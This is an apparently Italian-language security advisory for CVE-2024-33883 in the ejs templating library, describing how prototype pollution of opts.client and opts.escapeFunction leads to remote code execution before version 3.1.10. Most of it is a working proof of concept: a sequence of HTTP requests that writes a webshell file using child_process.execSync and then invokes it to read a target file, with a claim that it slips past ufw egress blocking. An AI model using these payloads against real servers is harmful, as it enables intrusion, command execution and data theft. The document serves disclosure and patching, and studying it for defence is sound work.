CVE-2024-33883

[email protected], validazione insufficiente della prototype pollution che porta allo sfruttamento RCE

• Con la prototype pollution, imposta opts.client a un valore truthy (condizione)
• Poi, quando render() viene eseguito, ejs eseguirà il valore di opts.escapeFunction come codice JS.

Intervallo di codice vulnerabile

Basato su [email protected]

1. ejs/lib/ejs.js - riga 580, 636, 637

PoC (Inietta webshell e attiva)

1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Inject webshell

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Activate webshell

• Il PoC sopra può bypassare il blocco dei pacchetti in uscita del firewall ufw.

• Tutte le versioni precedenti alla 3.1.10 sono vulnerabili a questo tipo di attacco.

• Questa è una vulnerabilità RCE: non abusarne su server live.

Condizioni per l'attacco

1. Serve il controllo di render().
2. Serve il controllo del vettore di attacco della prototype pollution.

• Se le due condizioni sopra sono soddisfatte, l'attacco RCE è possibile.

Come posso prevenire questo attacco?

• La versione corretta ([email protected]) è ora disponibile.